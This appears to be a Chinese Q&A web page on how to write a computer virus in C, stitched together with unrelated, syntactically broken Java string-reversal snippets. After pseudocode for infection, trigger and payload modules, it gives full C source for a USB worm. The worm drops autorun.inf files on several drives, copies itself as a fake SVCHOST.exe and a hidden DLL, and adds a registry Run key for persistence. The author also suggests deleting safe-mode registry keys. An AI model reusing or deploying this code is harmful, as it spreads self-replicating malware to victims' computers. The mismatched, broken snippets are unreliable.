怎样用C语言编写病毒

Python016

怎样用C语言编写病毒,第1张

1.最简单的方法:

public static String reverse1(String str)

{

   return new StringBuffer(str).reverse().toString()

}

2.最常用的方法:

public static String reverse3(String s)

 { 

   char[] array = s.toCharArray() 

  String reverse = ""  //注意这是空串,不是null

   for (int i = array.length - 1 i >= 0 i--) 

   reverse += array[i] 

   return reverse 

  } 

3.常用方法的变形:

 public static String reverse2(String s)

  int length = s.length() 

   String reverse = ""  //注意这是空串,不是null

   for (int i = 0 i < length i++) 

    reverse = s.charAt(i) + reverse//在字符串前面连接,  而非常见的后面

   return reverse 

  } 

4.C语言中常用的方法:

 public static String reverse5(String orig)

  char[] s = orig.toCharArray() 

  int n = s.length - 1 

  int halfLength = n / 2 

  for (int i = 0 i <= halfLength i++) { 

    char temp = s[i] 

   s[i] = s[n - i] 

   s[n - i] = temp 

   } 

   return new String(s)  //知道  char数组和String相互转化

  }

要编制一个病毒,首先要知道病毒的运行机理。

不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷

在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本

原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()

{

if (infectable_object_found

&&object_not_already_infect)

infect_object

}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.

一个简单的触发机制可能是这样工作的:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes

}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload

}

在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.本病毒的功能:1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件2.在C、D、E盘中生成自动运行文件3.注册c:\windows\system\svchost.exe,使其开机自动运行4.在C:\windows\system下生成隐蔽DLL文件5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究/* SVCHOST.C *//* SVCHOST.EXE */#define SVCHOST_NUM 6#include<stdio.h>#include<string.h>char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"}char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"}char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe","c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"}char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f"int copy(char *infile,char *outfile){FILE *input,*output char temp if(strcmp(infile,outfile)!=0 &&((input=fopen(infile,"rb"))!=NULL) &&((output=fopen(outfile,"wb"))!=NULL)){ while(!feof(input)) {fread(&temp,1,1,input) fwrite(&temp,1,1,output) } fclose(input) fclose(output) return 0 }else return 1}int main(void){FILE *input,*output int i,k for(i=0i<3i++){ output=fopen(files_autorun[i],"w") fprintf(output,"%s",autorun) fclose(output) }for(i=0i<=SVCHOST_NUMi++){ if((input=fopen(files_svchost[i],"rb"))!=NULL) {fclose(input) for(k=0k<SVCHOST_NUMk++){ copy(files_svchost[i],files_svchost[k]) }i=SVCHOST_NUM+1 }}system(regadd)/* 注册SVCHOST.exe,让其在启动时运行 */ return 0} 如果你想来狠点把安全模式的注册表项也删除了.让它进不了安全模式警告:不会修改注册表的人别运行本程序...